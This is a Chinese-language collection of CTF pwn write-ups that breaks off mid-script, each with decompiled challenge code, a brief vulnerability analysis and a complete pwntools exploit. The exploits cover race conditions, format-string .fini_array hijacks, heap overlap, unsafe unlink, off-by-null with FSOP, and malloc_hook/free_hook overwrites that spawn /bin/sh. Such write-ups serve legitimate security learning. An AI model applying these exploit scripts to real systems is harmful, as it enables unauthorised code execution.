PWNer的历险记
前言
做过的题想记下来,又不想每题单开一篇,就汇总在这里。长期更新中。
glibc
杂
[NISA CTF]shop_pwn
来源:NSSCTF
主要逻辑在 game() 函数中
void __noreturn game()
{
int c; // eax
int i; // [rsp+Ch] [rbp-4h]
while ( 1 )
{
while ( 1 )
{
puts(" Welcome to my shop ");
puts("+===========================+");
puts("| No| | Sell| Recycle|");
puts("+===+========+=====+========+");
for ( i = 0; i <= 15; ++i )
{
if ( gd[i].v )
printf("| %d | %-4s | %3d | %3d |\n", i, gd[i].name, gd[i].v, gd[i].kk);
} // Welcome to my shop
// +===========================+
// | No| | Sell| Recycle|
// +===+========+=====+========+
// | 1 | flag | 200 | 100 |
// | 2 | pen | 100 | 99 |
// | 3 | wish | 50 | 0 |
// +===========================+
puts("+===========================+");
puts("1. look bags\n2. buy goods\n3. sale goods");
printf("> ");
c = read_int();
if ( c != 2 )
break;
buy();
}
if ( c > 2 )
{
if ( c == 3 )
{
sale();
}
else
{
if ( c == 4 )
exit(0);
LABEL_17:
puts("Invalid!");
}
}
else
{
if ( c != 1 )
goto LABEL_17;
look();
}
}
}
漏洞分析
unsigned __int64 sale()
{
int idx; // [rsp+Ch] [rbp-14h]
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Which one?\n> ");
idx = read_int();
if ( bags[idx] )
{
pthread_create(&newthread, 0LL, to_sale, idx);
puts("Fair prices!");
}
else
{
puts("R U kidding me?");
}
return __readfsqword(0x28u) ^ v3;
}
void *__fastcall to_sale(void *a1)
{
int idx; // eax
void *result; // rax
idx = bags[a1];
if ( idx == 1 )
{
money += flag_r;
}
else
{
if ( idx != 2 )
{
printf("Oops???");
exit(0);
}
money += pen_r;
}
usleep(50000u);
result = a1;
bags[a1] = 0;
return result;
}
子进程会 usleep(50000)(5 秒),这期间父进程被挂起,所以可以同时开几个子进程,在 bags[a1] 还没置零时重复卖同一件物品——一物多卖就是漏洞。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
io = process('./pwn')
def sale():
io.sendline(b'3')
io.sendline(b'0')
sale()
sale()
io.interactive()
# 然后直接购买flag就行.
stack
ez_fmt
来源:sally
重命名下函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v5; // [rsp+218h] [rbp-8h]
__int64 retaddr; // [rsp+228h] [rbp+8h]
v5 = __readfsqword(0x28u);
ret = retaddr;
init();
vuln();
printf("This is a ez_format\n");
printf("Just pwn it!\n");
read(0, buf, 0x1F0uLL);
printf(buf);
check(retaddr);
return 0;
}
unsigned __int64 vuln()
{
int v1; // [rsp+Ch] [rbp-34h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Please enter your name len:\n");
read(0, buf, 0x10uLL);
v1 = atoi(buf);
printf("Please enter your name:\n");
read(0, unk, v1);
printf("hello,%s", unk);
return v3 - __readfsqword(0x28u);
}
int printf(const char *format, ...)
{
__int64 v1; // rdx
__int64 v2; // rcx
__int64 v3; // rsi
__int64 v4; // r8
__int64 v5; // r9
int v7; // [rsp+1Ch] [rbp-D4h]
gcc_va_list arg; // [rsp+28h] [rbp-C8h] BYREF
__int64 v9; // [rsp+48h] [rbp-A8h]
__int64 v10; // [rsp+50h] [rbp-A0h]
__int64 v11; // [rsp+58h] [rbp-98h]
__int64 v12; // [rsp+60h] [rbp-90h]
__int64 v13; // [rsp+68h] [rbp-88h]
void *retaddr; // [rsp+F8h] [rbp+8h]
va_start(arg, format);
v3 = va_arg(arg, _QWORD);
v1 = va_arg(arg, _QWORD);
v2 = va_arg(arg, _QWORD);
v4 = va_arg(arg, _QWORD);
v5 = va_arg(arg, _QWORD);
v9 = v3;
v10 = v1;
v11 = v2;
v12 = v4;
v13 = v5;
arg[0].gp_offset = 8;
aret = retaddr;
v7 = vfprintf(_bss_start, format, arg);
if ( retaddr != aret )
{
fwrite("printf() : Error format strings detected!\n", 1uLL, 0x2AuLL, stderr);
exit(1);
}
return v7;
}
漏洞分析
很明显的格式化字符串漏洞。 在 init() 函数中,将 .fini_array 设置为可读可写。 ret 变量地址与 unk 相连,可以通过 %s 泄露,从而得到 libc 地址。
init() 把 .fini_array 设成了可写,而程序退出时会依次调用表里的函数指针——改它等于直接改执行流,于是可以在同一道题里第二次、第三次用格式化字符串,把 ROP 链摆上去。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
elf = ELF('./ez_fmt_fix')
io = process(elf.path)
gdb.attach(io, 'b *0x401502')
fini = 0x403D90
_start = 0x4010D0
len = 16
payload = b'A' * len
io.recvuntil(b'Please enter your name len:\n')
io.sendline(str(len).encode())
io.recvuntil(b'Please enter your name:\n')
io.send(payload)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x29d68
info('libc.address:'+hex(libc.address))
rdi = libc.address + 0x2a205
rsi = libc.address + 0x2bb39
rdx = libc.address + 0x10d37d
info('rdi:'+hex(rdi))
system = libc.symbols['system']
info('system:'+hex(system))
binsh = libc.search(b'/bin/sh').__next__()
info('binsh:'+hex(binsh))
payload = b'%'+str(0x10).encode() + b'c%16$hhn'
payload += b'%'+str(0x30).encode() + b'c%17$hhn'
payload += b'%'+str(0x90).encode() + b'c%18$hhn'
payload += b'%43$p'
payload = payload.ljust(0x40, b'x')
payload += p64(fini+1)+p64(fini+2)+p64(fini)
io.recvuntil(b'Just pwn it!\n')
io.sendline(payload)
io.recvuntil(b'0x')
stack = int(io.recv(12).strip(), 16) - 0x1c8
info('stack:'+hex(stack))
payload = b'/bin/sh\0' * 2 + p64(rdi)
io.recvuntil(b'Please enter your name len:\n')
io.sendline(str(32).encode())
io.recvuntil(b'Please enter your name:\n')
io.sendline(payload)
_rdi1 = rdi & 0xff
_rdi2 = (rdi >> 8) & 0xff
_rdi3 = (rdi >> 16) & 0xff
rdi1 = _rdi1
rdi2 = (_rdi2 + 0x100 - _rdi1) & 0xff
rdi3 = (_rdi3 + 0x100 - _rdi2) & 0xff
info('rdi1:'+hex(rdi1))
info('rdi2:'+hex(rdi2))
info('rdi3:'+hex(rdi3))
_system1 = system & 0xff
_system2 = (system >> 8) & 0xff
_system3 = (system >> 16) & 0xff
_system4 = (system >> 24) & 0xff
_system5 = (system >> 32) & 0xff
_system6 = (system >> 40) & 0xff
system1 = (_system1 + 0x100 - _rdi3) & 0xff
system2 = (_system2 + 0x100 - _system1) & 0xff
system3 = (_system3 + 0x100 - _system2) & 0xff
system4 = (_system4 + 0x100 - _system3) & 0xff
system5 = (_system5 + 0x100 - _system4) & 0xff
system6 = (_system6 + 0x100 - _system5) & 0xff
info('system1:'+hex(system1))
info('system2:'+hex(system2))
info('system3:'+hex(system3))
info('system4:'+hex(system4))
info('system5:'+hex(system5))
info('system6:'+hex(system6))
payload = b'c%31$ln%39$ln'
payload += b'%'+str(rdi1-1).encode() + b'c%28$hhn'
payload += b'%'+str(rdi2).encode() + b'c%29$hhn'
payload += b'%'+str(rdi3).encode() + b'c%30$hhn'
payload += b'%'+str(system1).encode() + b'c%31$hhn'
payload += b'%'+str(system2).encode() + b'c%32$hhn'
payload += b'%'+str(system3).encode() + b'c%33$hhn'
payload += b'%'+str(system4).encode() + b'c%34$hhn'
payload += b'%'+str(system5).encode() + b'c%35$hhn'
payload += b'%'+str(system6).encode() + b'c%36$hhn'
payload += b'%'+str(0x40 + 0x100 - _system6).encode() + b'c%37$hhn'
payload += b'%38$hhn'
payload += b'%'+str(0x10).encode() + b'c%39$hhn'
payload += b'%'+str(0x6d-0x50).encode() + b'c%40$hhn'
payload = payload.ljust(0xa0, b'x')
payload += p64(stack)+p64(stack+1)+p64(stack+2)
payload += p64(stack+0x18)+p64(stack+0x19)+p64(stack+0x1a) + \
p64(stack+0x1b)+p64(stack+0x1c)+p64(stack+0x1d)
payload += p64(stack+0x9)+p64(stack+0xa)+p64(stack+0x8)
payload += p64(stack+0x10)
io.recvuntil(b'Just pwn it!\n')
io.sendline(payload)
io.interactive()
ez_fmt_revenge
来源:sally
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v5; // [rsp+218h] [rbp-8h]
__int64 retaddr; // [rsp+228h] [rbp+8h]
v5 = __readfsqword(0x28u);
ret = retaddr;
init(argc, argv, envp);
vuln();
printf("This is a ez_format\n");
printf("Just pwn it!\n");
read(0, buf, 0x1F0uLL);
printf(buf);
check(retaddr);
return 0;
}
int vuln()
{
printf("Please enter your name:\n");
read(0, qwe, 8uLL);
return printf("hello,%s", qwe);
}
漏洞分析
同样的,劫持 .fini_array。 通过格式化字符串泄露 libc 地址和 stack 地址。
在第二次利用格式化字符串时构造 ROP。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
elf = ELF('./ez_fmt_revenge')
io = process(elf.path)
gdb.attach(io, 'b *0x40148F')
fini = 0x403D98
_start = 0x4010D0
len = 8
payload = b'A' * len
io.recvuntil(b'Please enter your name:\n')
io.send(payload)
payload = b'%'+str(0x10).encode() + b'c%16$hhn'
payload += b'%'+str(0x30).encode() + b'c%17$hhn'
payload += b'%'+str(0x80).encode() + b'c%18$hhn'
payload += b'%43$p%3$p'
payload = payload.ljust(0x40, b'x')
payload += p64(fini+1)+p64(fini+2)+p64(fini)
io.recvuntil(b'Just pwn it!\n')
io.sendline(payload)
io.recvuntil(b'0x')
stack = int(io.recv(12).strip(), 16) - 0x1c8
info('stack:'+hex(stack))
io.recvuntil(b'0x')
libc.address = int(io.recv(12).strip(), 16) - 0x1036dd
info('libc.address:'+hex(libc.address))
rdi = libc.address + 0x2a205
rsi = libc.address + 0x2bb39
rdx = libc.address + 0x10d37d
info('rdi:'+hex(rdi))
system = libc.symbols['system']
info('system:'+hex(system))
binsh = libc.search(b'/bin/sh').__next__()
info('binsh:'+hex(binsh))
payload = b'/bin/sh\0'
io.recvuntil(b'Please enter your name:\n')
io.send(payload)
_rdi1 = rdi & 0xff
_rdi2 = (rdi >> 8) & 0xff
_rdi3 = (rdi >> 16) & 0xff
rdi1 = _rdi1
rdi2 = (_rdi2 + 0x100 - _rdi1) & 0xff
rdi3 = (_rdi3 + 0x100 - _rdi2) & 0xff
info('rdi1:'+hex(rdi1))
info('rdi2:'+hex(rdi2))
info('rdi3:'+hex(rdi3))
_system1 = system & 0xff
_system2 = (system >> 8) & 0xff
_system3 = (system >> 16) & 0xff
_system4 = (system >> 24) & 0xff
_system5 = (system >> 32) & 0xff
_system6 = (system >> 40) & 0xff
system1 = (_system1 + 0x100 - _rdi3) & 0xff
system2 = (_system2 + 0x100 - _system1) & 0xff
system3 = (_system3 + 0x100 - _system2) & 0xff
system4 = (_system4 + 0x100 - _system3) & 0xff
system5 = (_system5 + 0x100 - _system4) & 0xff
system6 = (_system6 + 0x100 - _system5) & 0xff
info('system1:'+hex(system1))
info('system2:'+hex(system2))
info('system3:'+hex(system3))
info('system4:'+hex(system4))
info('system5:'+hex(system5))
info('system6:'+hex(system6))
payload = b'c%36$ln%42$ln'
payload += b'%'+str(rdi1-1).encode() + b'c%33$hhn'
payload += b'%'+str(rdi2).encode() + b'c%34$hhn'
payload += b'%'+str(rdi3).encode() + b'c%35$hhn'
payload += b'%'+str(system1).encode() + b'c%36$hhn'
payload += b'%'+str(system2).encode() + b'c%37$hhn'
payload += b'%'+str(system3).encode() + b'c%38$hhn'
payload += b'%'+str(system4).encode() + b'c%39$hhn'
payload += b'%'+str(system5).encode() + b'c%40$hhn'
payload += b'%'+str(system6).encode() + b'c%41$hhn'
payload += b'%'+str(0x40 + 0x100 - _system6).encode() + b'c%42$hhn'
payload += b'%43$hhn'
payload += b'%'+str(0x10).encode() + b'c%44$hhn'
payload += b'%'+str(0xfa-0x50).encode() + b'c%45$hhn'
payload += b'%'+str(_rdi1 + 0x100 - 0xfa).encode() + b'c%46$hhn'
payload += b'%'+str(rdi2).encode() + b'c%47$hhn'
payload += b'%'+str(rdi3).encode() + b'c%48$hhn'
payload = payload.ljust(0xc8, b'x')
payload += p64(stack)+p64(stack+1)+p64(stack+2)
payload += p64(stack+0x18)+p64(stack+0x19)+p64(stack+0x1a) + \
p64(stack+0x1b)+p64(stack+0x1c)+p64(stack+0x1d)
payload += p64(stack+0x9)+p64(stack+0xa)+p64(stack+0x8)
payload += p64(stack+0x10)
payload += p64(0x404060)+p64(0x404060+1)+p64(0x404060+2)
io.recvuntil(b'Just pwn it!\n')
io.sendline(payload)
io.interactive()
heap 2.23
babyheap_0ctf_2017
来源:BUUOJ
修了一下符号表,主函数内容大致如下
__int64 __fastcall main(char *a1, char **a2, char **a3)
{
char *ptr; // [rsp+8h] [rbp-8h]
ptr = init_0();
while (1)
{
menu(); // puts("1. Allocate");
// puts("2. Fill");
// puts("3. Free");
// puts("4. Dump");
// puts("5. Exit");
// return printf("Command: ");
switch (getc())
{
case 1LL:
add(ptr);
break;
case 2LL:
edit(ptr);
break;
case 3LL:
del(ptr);
break;
case 4LL:
show(ptr);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
漏洞分析
unsigned __int64 __fastcall edit(book *arr)
{
unsigned __int64 t; // rax
int idx; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
t = getc();
idx = t;
if ( t < 0x10 )
{
t = arr[t].flags;
if ( t == 1 )
{
printf("Size: ");
t = getc();
size = t;
if ( t > 0 )
{
printf("Content: ");
return editsth(arr[idx].con, size);
}
}
}
return t;
}
edit() 的 size 由用户输入,和 add() 时申请的大小没有比对,于是能写超界;配合 free 之后指针不清零,堆块就重叠了。
利用思路:构造堆重叠 -> 泄露 libc -> 劫持 hook 为 one_gadget.
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF("./libc-2.23.so")
io = process('./babyheap_0ctf_2017')
gdb.attach(io, 'b *$rebase(0x113d)')
def cmd(s: int):
io.recvuntil(b'Command:')
io.sendline(str(s).encode())
def add(size: int):
cmd(1)
io.recvuntil(b'Size:')
io.sendline(str(size).encode())
def edit(idx: int, size: int, content: bytes):
cmd(2)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Size:')
io.sendline(str(size).encode())
io.recvuntil(b'Content:')
io.send(content)
def delete(idx: int):
cmd(3)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
def show(idx: int):
cmd(4)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
add(0x10) # 0
add(0x20) # 1
add(0x10) # 2
add(0x60) # 3
add(0x10) # 4
extend = p64(0)+p64(0)
extend += p64(0)+p64(0xc1)
#修改chunk1的size
#0xc1是chunk1,chunk2,chunk3的大小之和(包含chunk头)
edit(0, len(extend), extend)
delete(1)
# 切割出chunk1
# 指针就会写到chunk2的fd和bk上
add(0x20) # 1
# 泄露libc
show(2)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b78
info("libc.address: " + hex(libc.address))
one_gadget = libc.address + 0x4526a
malloc_hook = libc.sym['__malloc_hook']
info("malloc_hook: " + hex(malloc_hook))
info("one_gadget: " + hex(one_gadget))
# 清空bins
add(0x10) # 5 to 2
add(0x60) # 6 to 3
# house of spirit
delete(3)
extend = p64(0)+p64(0)
extend += p64(0)+p64(0x71)
extend += p64(malloc_hook-0x23)
edit(2, len(extend), extend)
add(0x60) # 3
add(0x60) # 7 to mallo_hook
con = b'a'*0x13+p64(one_gadget)
edit(7, len(con), con)
# 触发malloc_hook
add(255)
io.interactive()
[ZJCTF 2019]EasyHeap
来源:BUUOJ
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while (1)
{
while (1)
{
menu(); // puts("--------------------------------");
// puts(" Easy Heap Creator ");
// puts("--------------------------------");
// puts(" 1. Create a Heap ");
// puts(" 2. Edit a Heap ");
// puts(" 3. Delete a Heap ");
// puts(" 4. Exit ");
// puts("--------------------------------");
// return printf("Your choice :");
read(0, buf, 8uLL);
v3 = atoi(buf);
if (v3 != 3)
break;
delete_heap();
}
if (v3 > 3)
{
if (v3 == 4)
exit(0);
if (v3 == 4869)
{
if ((unsigned __int64)magic <= 0x1305)
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if (v3 == 1)
{
create_heap();
}
else
{
if (v3 != 2)
goto LABEL_17;
edit_heap();
}
}
}
漏洞分析
unsigned __int64 edit_heap()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
edit_heap() 函数会请求输入size,故存在溢出。
思路:通过 unsafe unlink,修改 heap 地址数组,劫持 atoi() 为 system()
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./easyheap')
libc = ELF('./libc-2.23.so')
io = process('./easyheap')
# gdb.attach(io, 'b *0x400C8C')
def cmd(c: int):
io.recvuntil(b'Your choice :')
io.sendline(str(c).encode())
def add(size: int, content: str):
cmd(1)
io.recvuntil(b'Size of Heap : ')
io.sendline(str(size).encode())
io.recvuntil(b'Content of heap:')
io.send(content)
def edit(idx: int, size: int, content: str):
cmd(2)
io.recvuntil(b'Index :')
io.sendline(str(idx).encode())
io.recvuntil(b'Size of Heap : ')
io.sendline(str(size).encode())
io.recvuntil(b'Content of heap : ')
io.send(content)
def delete(idx: int):
cmd(3)
io.recvuntil(b'Index :')
io.sendline(str(idx).encode())
arr = 0x6020E0
add(0x20, 'a' * 0x20) # 0
add(0x30, 'b' * 0x30) # 1
add(0x80, 'c' * 0x80) # 2
add(0x10, 'd' * 0x10) # 3
# unlink
extend = p64(0)+p64(0x31)
extend += p64(arr-0x10)+p64(arr-0x8)
extend = extend.ljust(0x30, b'a')
extend += p64(0x30)+p64(0x90)
edit(1, len(extend), extend)
delete(2)
# 修改指针
edit(1, 0x20, p64(0)*2+p64(elf.got['atoi']))
# 修改atoi为system
edit(0, 0x8, p64(elf.plt['system']))
io.sendline(b'/bin/sh')
io.interactive()
little game
来源:JNCTF
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
init_0();
q();
puts("======================");
puts("This is a little game.");
puts("======================");
while ( 1 )
{
menu(); // v1 = __readfsqword(0x28u);
// puts("1.Get a new chunk.");
// puts("2.Delete a chunk.");
// puts("3.Show a chunk.");
// puts("4.Edit a chunk.");
// puts("5.Exit.");
// puts("What's your choice?");
switch ( getc() )
{
case 1:
add();
break;
case 2:
del();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}
漏洞分析
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index:");
v1 = getc();
if ( v1 >= 0xA )
{
puts("Out of index!");
exit(0);
}
if ( arr[v1] )
{
printf("Content:");
bug(arr[v1], size_list[v1]);
puts("OK!");
fflush(stdout);
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall bug(void *a1, int a2)
{
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = read(0, a1, a2);
if ( v3 <= 0 )
{
puts("Error");
exit(-1);
}
*(a1 + v3) = 0; // off-by-null
return __readfsqword(0x28u) ^ v4;
}
典型的 off-by-null。init() 里调了 mallopt(1, 0),本题用不了 fastbin,于是走 unsorted bin attack 接 FSOP。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
libc = ELF('./libc-2.23.so')
io = process('./little_game')
gdb.attach(io, '''b *$rebase(0x12F9)''')
def cmd(c):
io.recvuntil(b'What\'s your choice?')
io.sendline(str(c).encode())
def add(size: int):
cmd(1)
io.recvuntil(b'Size:')
io.sendline(str(size).encode())
def delete(idx: int):
cmd(2)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
def show(idx: int):
cmd(3)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
def edit(idx: int, content):
cmd(4)
io.recvuntil(b'Index:')
io.sendline(str(idx).encode())
io.recvuntil(b'Content:')
io.send(content)
add(0x88) # 0
'''
作溢出用
'''
add(0x460) # 1
add(0x20) # 2
'''
防止delete(1)时,chunk_1被top chunk合并
'''
edit(1, b'a'*0x3f0+p64(0x400))
'''
作铺垫
'''
delete(1)
'''
放入unsorted bin
并在chunk2的prev_size处填入0x470
'''
edit(0, b'a'*0x88)
'''
off by null
'''
add(0x20) # 1
add(0x2f0) # 3
add(0xb0) # 4
'''
申请出0x400总的chunk
'''
edit(1, b'a'*8)
'''
填充chunk_1的fd
'''
show(1)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4f00
info('libc_base: ' + hex(libc.address))
one_gadget = libc.address + 0x4526a
info('one_gadget: ' + hex(one_gadget))
system = libc.sym['system']
info('system: ' + hex(system))
IO_list_all = libc.address + 0x3c5520
info('IO_list_all: ' + hex(IO_list_all))
io.recvn(2)
heap_addr = u64(io.recv(6).ljust(8, b'\x00')) - 0x90
info('heap_addr: ' + hex(heap_addr))
'''
泄露出了libc和heap地址
'''
delete(1)
delete(2)
'''
top chunk合并
'''
add(0x490) # 1
edit(1, b'a'*0x20+p64(0)+p64(0x301))
delete(3)
'''
准备unsorted bin attack
'''
vtable = p64(system)*4
vtable_addr = heap_addr + 0xa0
extend = vtable
extend += b'/bin/sh\0'+p64(0x61)
extend += p64(0)+p64(IO_list_all-0x10)
extend += p64(0)+p64(1)
extend += p8(0)*0xa8
extend += p64(vtable_addr)
edit(1, extend)
'''
伪造IO_file结构体和vtable
'''
add(0x100)
io.interactive()
asis2016_b00ks
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int c; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
wel();
rename();
while ( 1 )
{
c = getc(); // puts("\n1. Create a book");
// puts("2. Delete a book");
// puts("3. Edit a book");
// puts("4. Print book detail");
// puts("5. Change current author name");
// puts("6. Exit");
// printf("> ");
if ( c == 6 )
break;
switch ( c )
{
case 1:
add();
break;
case 2:
del();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
rename();
break;
default:
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
漏洞分析
__int64 rename()
{
printf("Enter author name: ");
if ( !readsth(name, 32) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}
__int64 __fastcall readsth(_BYTE *addr, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, addr, 1uLL) != 1 )
return 1LL;
if ( *addr == 10 )
break;
++addr;
if ( i == a2 )
break;
}
*addr = 0; // off by null
return 0LL;
}
int show()
{
lib *v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = arr[i];
if ( v0 )
{
printf("ID: %d\n", arr[i]->flag);
printf("Name: %s\n", arr[i]->name);
printf("Description: %s\n", arr[i]->book);
LODWORD(v0) = printf("Author: %s\n", name);
}
}
return v0;
}
rename() 里有 off-by-null,而 name 和 arr 数组相邻,刚好能溢出:把第一个 chunk_ptr 的最低字节盖成 \x00。show() 里字符串没有截断,也能顺带泄 heap 地址。
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc-2.23.so')
io = process('./b00ks')
gdb.attach(io, 'b *$rebase(0x1240)')
# addr = 'node5.buuoj.cn:26678'.split(':')
# io = remote(addr[0], addr[1])
def cmd(c: int):
io.recvuntil(b'> ')
io.sendline(str(c).encode())
def add(nsize: int, name: bytes, csize: int, content: bytes):
cmd(1)
io.recvuntil(b'Enter book name size:')
io.sendline(str(nsize).encode())
io.recvuntil(b'Enter book name (Max 32 chars):')
io.sendline(name)
io.recvuntil(b'Enter book description size:')
io.sendline(str(csize).encode())
io.recvuntil(b'Enter book description: ')
io.sendline(content)
def delete(idx: int):
cmd(2)
io.recvuntil(b'Enter the book id you want to delete: ')
io.sendline(str(idx).encode())
def edit(idx: int, content: bytes):
cmd(3)
io.recvuntil(b'Enter the book id you want to edit: ')
io.sendline(str(idx).encode())
io.recvuntil(b'Enter new book description: ')
io.sendline(content)
def show():
cmd(4)
def rename():
cmd(5)
io.recvuntil(b'Enter author name: ')
io.sendline(b'a' * 0x1f + b'x')
io.recvuntil(b'Enter author name: ')
io.sendline(b'a' * 0x1f + b'x')
add(0xd0, b'a' * 0x10, 0x20, b'a' * 0x10) # 0
'''
0xd0 是为了保证第二个 chunk 的地址最低一字节是 00
'''
add(0x80, b'a' * 0x10, 0x10, b'a' * 0x10) # 1
add(0x20, b'a' * 0x10, 0x20, b'a' * 0x10) # 2
'''
防止合并
'''
'''
泄露 heap 地址
'''
show()
io.recvuntil(b'aaax')
heap = u64(io.recv(6) + b'\x00\x00') - 0x30
info('heap: ' + hex(heap))
content = p64(1) + p64(heap) + p64(heap+0x1a0) + p64(0xffff)
edit(1, content)
rename()
'''
修改 arr 中的 chunk 指针
'''
'''
泄露 libc 地址
'''
delete(2)
content = p64(3) + p64(heap+0x60) + p64(heap+0x60) + p64(0x20)
edit(1, content)
show()
libc.address = u64(io.recvuntil(b'\x7f')[-6:] + b'\x00\x00') - 0x3c4b78
info('libc: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
one_gadget = libc.address + 0x4526a
info('free_hook: ' + hex(free_hook))
info('one_gadget: ' + hex(one_gadget))
'''
任意地址写, 接触 free_hook
'''
content = p64(3) + p64(free_hook) + p64(free_hook) + p64(0x20)
edit(1, content)
edit(3, p64(one_gadget))
'''
触发 one_gadget
'''
delete(3)
io.interactive()
hitcontraining_bamboobox
int __fastcall main(int argc, const char **argv, const char **envp)
{
func_list *lst; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
lst = malloc(0x10uLL);
lst->hello = hello_message;
lst->bye = goodbye_message;
lst->hello();
while ( 1 )
{
menu(); // puts("----------------------------");
// puts("Bamboobox Menu");
// puts("----------------------------");
// puts("1.show the items in the box");
// puts("2.add a new item");
// puts("3.change the item in the box");
// puts("4.remove the item in the box");
// puts("5.exit");
// puts("----------------------------");
// return printf("Your choice:");
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
lst->bye();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}
漏洞分析
unsigned __int64 change_item()
{
int idx; // [rsp+4h] [rbp-2Ch]
int len; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
idx = atoi(buf);
if ( arr[2 * idx] )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
len = atoi(nptr);
printf("Please enter the new name of the item:");
*(arr[2 * idx] + read(0, arr[2 * idx], len)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
change_item() 读入 size 时不做校验,存在堆溢出;思路是用 unsafe unlink 改掉存放 chunk 地址的数组。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
elf = ELF('./bamboobox')
libc = ELF('./libc-2.23.so')
arr = 0x6020C8
io = process('./bamboobox')
gdb.attach(io, 'b *0x400E42')
def cmd(choice: int):
io.recvuntil(b'Your choice:')
io.sendline(str(choice).encode())
def show():
cmd(1)
def add(size: int, content: bytes):
cmd(2)
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size).encode())
io.recvuntil(b'Please enter the name of item:')
io.send(content)
def edit(index: int, size: int, content: bytes):
cmd(3)
